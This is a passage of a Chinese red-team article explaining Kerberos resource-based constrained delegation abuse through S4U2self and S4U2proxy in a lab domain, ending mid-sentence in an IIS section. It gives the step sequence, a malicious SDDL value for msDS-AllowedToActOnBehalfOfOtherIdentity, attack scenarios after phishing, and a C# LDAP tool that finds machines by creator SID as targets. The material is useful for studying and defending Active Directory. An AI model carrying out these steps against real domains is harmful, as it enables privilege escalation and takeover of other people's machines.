0.3em;border-bottom: 1px solid rgb(255, 191, 0);text-align: center;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 20px;">S4U2协议的利用过程</span></h2><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">假设我们现在已经在n0thing-pc（域中一台普通机器）上拥有了上文分析的满足了2个利用基于资源的约束委派的条件。接下来继续分析一下怎么通过s4u拿到一张访问n0thing-pc的高权限票据。</span></p><ul style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-bottom: 0.5rem;width: inherit;"><span style="box-sizing: border-box;font-size: 14px;">第一步，连接域控ldap创建计算机账户evilpc</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><img data-ratio="0.823170731707317" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1312" src="https://wechat2rss.xlab.app/img-proxy/?k=393ffecd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4by9FPhzdXIzKQNYntZ4VSffw9cjhUw8F6AZFhuR9Hpqibs9BRenuU9w%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><img data-ratio="0.281437125748503" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="1002" src="https://wechat2rss.xlab.app/img-proxy/?k=1ce0b8e4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4lnLv1IAuuZicgKZ6ECoLh0MciaDvfNkkREaBQG17UJciapmbqdr8TADgg%2F640%3Fwx_fmt%3Djpeg"/><span style="box-sizing: border-box;font-size: 14px;">在上一篇文章《</span><span style="font-size: 14px;">这是一篇“不一样”的真实渗透测试案例分析文章</span><span style="font-size: 14px;"><span style="box-sizing: border-box;">》中我们提到&#34;域控不允许在未加密的链接中创建计算机用户&#34;。那么上面给的代码为什么是去连接域控389端口(ldap)而不是去连接636端口(ldaps)创建呢？答案是:ldaps需要配置证书才能使用，在默认环境下就不能正常工作，而ldap只要将Sealing属性设置为ture则可以用sasl加密连接。</span> </span><img data-ratio="0.211139896373057" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="1544" src="https://wechat2rss.xlab.app/img-proxy/?k=54a313d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4PurYXaKxWxrcnibhdLTfjVYE5JjTjxD5x6wh6IGgSUGzicLLZHbOd6PQ%2F640%3Fwx_fmt%3Djpeg"/></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-bottom: 0.5rem;width: inherit;"><span style="box-sizing: border-box;font-size: 14px;">第二步，通过ldap协议在域控上设置n0thing-pc的msds-allowedtoactonbehalfofotheridentity值为</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;evilpc的sid)</span></code></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><img data-ratio="0.4332892998678996" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1514" src="https://wechat2rss.xlab.app/img-proxy/?k=3f233f05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4KgrVSg2qicTswE9zftz3d2srot3V1j3VXlUEEAMP6K3Vj0PuS6TchTQ%2F640%3Fwx_fmt%3Djpeg"/></p></li></ul><ul style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;font-size: 14px;"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-bottom: 0.5rem;width: inherit;"><span style="box-sizing: border-box;font-size: 14px;">第三步，使用evilpc凭据拿到一张TGT，这张TGT是为了下一步使用s4u2self时的必备身份验证条件</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><img data-ratio="0.484593837535014" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1428" src="https://wechat2rss.xlab.app/img-proxy/?k=3854b531&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4A0T7WBU2HlOAG4SshubGmoHeHrCURanZNm21NVRAUmV8ode93sjmAA%2F640%3Fwx_fmt%3Djpeg"/></p></li></ul><ul style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-bottom: 0.5rem;width: inherit;"><span style="box-sizing: border-box;font-size: 14px;">第四步 使用s4u2self代表administrator拿到一张TGS</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><span style="font-size: 14px;"><span style="box-sizing: border-box;">简单分析一下tgs-req做了什么?</span> <span style="box-sizing: border-box;">首先将evilpc的tgt放在TGQ-REQ -&gt; padata -&gt; PA-DATA PA-TGS-REQ -&gt;padata-value-&gt;ap-req 结构体中</span></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><img data-ratio="0.5502121640735502" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="1414" src="https://wechat2rss.xlab.app/img-proxy/?k=df1da9ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4nxYJG4h7yEpJlK2aL9kuKRJibunxgnibW0gjiaV1UicQoZhWE4KI1caeYw%2F640%3Fwx_fmt%3Djpeg"/><span style="font-size: 14px;"><span style="box-sizing: border-box;">表示以administrator这个用户身份申请一张tgs</span> </span><img data-ratio="0.6236722306525038" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="1318" src="https://wechat2rss.xlab.app/img-proxy/?k=2d52201f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4xOkicxxibebNk8e7m8OOcbxOfLeUP9oNhMty6L6GSJLRH8lKza8ZSyRQ%2F640%3Fwx_fmt%3Djpeg"/><span style="font-size: 14px;"><span style="box-sizing: border-box;">对自己请求</span> </span><img data-ratio="0.6134328358208955" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="1340" src="https://wechat2rss.xlab.app/img-proxy/?k=b13acf9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4vKHjlfJibOOXIlyNRlkfGeicgOnt4yeN9SIouibzMYrPhRFHZSNEg3TNA%2F640%3Fwx_fmt%3Djpeg"/><span style="font-size: 14px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">再看TGS-REP</span></strong></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><span style="font-size: 14px;"><span style="box-sizing: border-box;">这张tgs是用evilpc hash加密的</span> </span><img data-ratio="0.6361788617886179" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="984" src="https://wechat2rss.xlab.app/img-proxy/?k=fd41c4dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4cYlBBb1aAicGZ5hKIyyhZBZkubqr5vTvHOUOjoRElmfjAYqsj9LNHsg%2F640%3Fwx_fmt%3Djpeg"/><span style="font-size: 14px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">s4u2self这个步骤作用是 evilpc拿自己的tgt票据请求一张访问evilpc的tgs，且该tgs的身份是administrator，而这张tgs是用evilpc的hash加密的</span></strong></span></p></li></ul><ul style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-bottom: 0.5rem;width: inherit;"><span style="box-sizing: border-box;font-size: 14px;">第五步 这是s4u最后一步-s4u2proxy，我们拿从s4u2self那里获取到的tgs作为验证信息再去请求一张用于访问n0thing-pc机器CIFS spn的tgs票据。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><img data-ratio="0.5256064690026954" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="742" src="https://wechat2rss.xlab.app/img-proxy/?k=dc1fdd80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4pIwm6QgIA957YV9DTECntE78LlXiaHFx5RvOqKU84RyCYXiaibSbr5cibA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><span style="box-sizing: border-box;font-size: 14px;">sname必须是spn，通过</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">setspn -Q */*</span></code><span style="box-sizing: border-box;font-size: 14px;">并没有看到存在cifs spn,为什么又可以申请成功呢？</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><img data-ratio="0.3081510934393638" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="503" src="https://wechat2rss.xlab.app/img-proxy/?k=f6909f59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4jYGQzAgT3D0kk7rh0XDQoDUZTWmhI7Mmibzd7JiawlRqfBFQUXn3VBdA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><span style="font-size: 14px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">因为HOST/N0THING-PC.redteam.com是多个SPN的集合，其中就涵盖了cifs</span></strong></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><span style="box-sizing: border-box;font-size: 14px;">最后拿这张票据就可以去通过操作smb服务执行命令了。</span></p></li></ul><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">以上就是</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">S4U2协议的利用的过程</span></strong><span style="box-sizing: border-box;">，也是</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">基于资源的约束委派</span></strong><span style="box-sizing: border-box;">的一个详细利用过程。原理基本就到此结束了，接下来是详细的利用场景。</span></span></p><h1 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 24px;">0x04 利用场景</span></h1><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">说一下在真实场景中可能会出现的情况，场景如下：</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">新员工n0thing入职后用工作电脑加入公司域时，域内会创建名为n0thing-pc.redteam.com的计算机账户，而域用户n0thing则对计算机账户(n0thing-pc.redteam.com)的&#34;msDS-AllowedToActOnBehalfOfOtherIdentity&#34;属性拥有写入权限</span> </span><img data-ratio="0.9186813186813186" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="910" src="https://wechat2rss.xlab.app/img-proxy/?k=4359e516&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4cPia36tYo8PbVcaDEkpC3kFlyD7FDPhT66ibKH318EkfHeu5CtJ3OBGA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">测试环境如下：</span></strong></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.14925373134328357" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1608" src="https://wechat2rss.xlab.app/img-proxy/?k=7cfac58e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4hFsuCSBKhwOBtfILQWIeuf3CP5jSBiaTibEM7lpAKibIxEwJSZ3rdMZdg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">在以往的渗透场景中经常会出现攻击者对企业员工进行钓鱼攻击，而n0thing同学不慎中招了，但是发现该用户没有在本地管理员组里面，这时候攻击者想用mimikatz等工具获取这台机器密码时就会陷入困境。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.678516228748068" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1294" src="https://wechat2rss.xlab.app/img-proxy/?k=b37d8219&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4ElsGeen8o90uC9NqzJj1U9LZZt2ggu5QSTia9lmUajdDlpHiakKoG1vg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">让我们开始提权之旅</span></strong><span style="box-sizing: border-box;">，前面已经详细讲述了S4U2的利用原理，这里就给大家看利用过程。</span></span><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=09654575&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibN2mFcXD7fc7CFpeOMWWHPiczSlH5F0dYwJf4MDBdmV3oqSEKPZHjQgRJJex9lYXP1dib9jUk2HIu1Q%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=d9a339d0&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2NDk0MTM5MQ%3D%3D%26mid%3D2247483689%26idx%3D1%26sn%3D1d83538cebbe2197c44b9e5cc9a7997f%26subscene%3D0&amp;v=wxv_1255934704688234497"></video></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;box-sizing: border-box;">这当然不仅仅可以用来提权，还存在其他</span><strong style="font-size: 14px;box-sizing: border-box;"><span style="box-sizing: border-box;">攻击场景</span></strong><span style="font-size: 14px;box-sizing: border-box;">：</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;"></span></p><ul style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">一个公司可能会有一个专门用来加域的账号，虽然这个账户通常只有普通域用户权限，但是如果我们控制了这个账户那么就可以打下一大批机器。</span></p></li></ul><ul style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">如果我们想拿域内机器A的权限，如果我们又没有机器A administrators组成员凭据的话还可以看机器A是通过哪个用户加入域的，控制了这个用户依然可以获取权限。</span></p></li></ul><ul style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">一个域用户X 可能会在域中创建多台机器(比如笔记本和台式机都需要加入域)，当我们有了域用户X的权限时，可以利用rbcd继续攻击其他mS-DS-CreatorSID是域用户X的机器。</span></p></li></ul><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">下面给出用.net实现在域内查询计算机&#34;mS-DS-CreatorSID&#34;属性的工具</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">using System;</span></code><code><span class="code-snippet_outer">using System.Security.Principal;</span></code><code><span class="code-snippet_outer">using System.DirectoryServices;</span></code><code><span class="code-snippet_outer">namespace ConsoleApp9</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    class Program</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        static void Main(string[] args)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            DirectoryEntry ldap_conn = new DirectoryEntry(&#34;LDAP://dc=redteam,dc=com&#34;);</span></code><code><span class="code-snippet_outer">            DirectorySearcher search = new DirectorySearcher(ldap_conn);</span></code><code><span class="code-snippet_outer">            String query = &#34;(&amp;(objectClass=computer))&#34;;//查找计算机</span></code><code><span class="code-snippet_outer">            search.Filter = query;</span></code><code><span class="code-snippet_outer">            foreach (SearchResult r in search.FindAll())</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                String mS_DS_CreatorSID=&#34;&#34;;</span></code><code><span class="code-snippet_outer">                String computername = &#34;&#34;;</span></code><code><span class="code-snippet_outer">                try</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                    computername = r.Properties[&#34;dNSHostName&#34;][0].ToString();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    mS_DS_CreatorSID = (new SecurityIdentifier((byte[])r.Properties[&#34;mS-DS-CreatorSID&#34;][0], 0)).ToString();</span></code><code><span class="code-snippet_outer">                    //Console.WriteLine(&#34;{0} {1}\n&#34;, computername, mS_DS_CreatorSID);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                catch</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                    ;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                //再通过sid找用户名</span></code><code><span class="code-snippet_outer">                String UserQuery = &#34;(&amp;(objectClass=user))&#34;;</span></code><code><span class="code-snippet_outer">                DirectorySearcher search2 = new DirectorySearcher(ldap_conn);</span></code><code><span class="code-snippet_outer">                search2.Filter = UserQuery;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                foreach (SearchResult u in search2.FindAll())</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                    String user_sid = (new SecurityIdentifier((byte[])u.Properties[&#34;objectSid&#34;][0], 0)).ToString();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    if (user_sid == mS_DS_CreatorSID) {</span></code><code><span class="code-snippet_outer">                        //Console.WriteLine(&#34;debug&#34;);</span></code><code><span class="code-snippet_outer">                        String username = u.Properties[&#34;name&#34;][0].ToString();</span></code><code><span class="code-snippet_outer">                        Console.WriteLine(&#34;[*] [{0}] -&gt; creator  [{1}]&#34;,computername, username);</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">如图所示，只要我们有域用户n0thing的凭据就能利用rbcd将dev01、dev02、n0thing-pc这几台机器打下来。</span><br/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-backh="306" data-backw="562" data-ratio="0.5439429928741093" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;width: 100%;height: auto;" data-type="jpeg" data-w="842" src="https://wechat2rss.xlab.app/img-proxy/?k=61321957&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibN2mFcXD7fc7CFpeOMWWHPicxrIBplnOvViaX0ZKYPZOhBia3yEZ9Hl3GIXDte1c1EOXmGick1nEsJRpQ%2F640%3Fwx_fmt%3Djpeg"/></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(255, 191, 0);text-align: center;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 20px;">iis提权以及拓展</span></h2><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">在上一篇文章《</span>这是一篇“不一样”的真实渗透测试案例分析文章<span style="box-sizing: border-box;font-size: 14px;">》中我们提到了system做relay是通过机器账户去请求的，那么iis用户 </span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">iis apppool\defaultapppool</span></code><span style="box-sizing: border-box;font-size: 14px;"> 出网会是什么权限呢？</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><strong style="font-size: 14px;box-sizing: border-box;"><span style="box-sizing: border-box;">是的，也是机器账户去请求的</span></strong><span style="font-size: 14px;box-sizing: border-box;">。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear 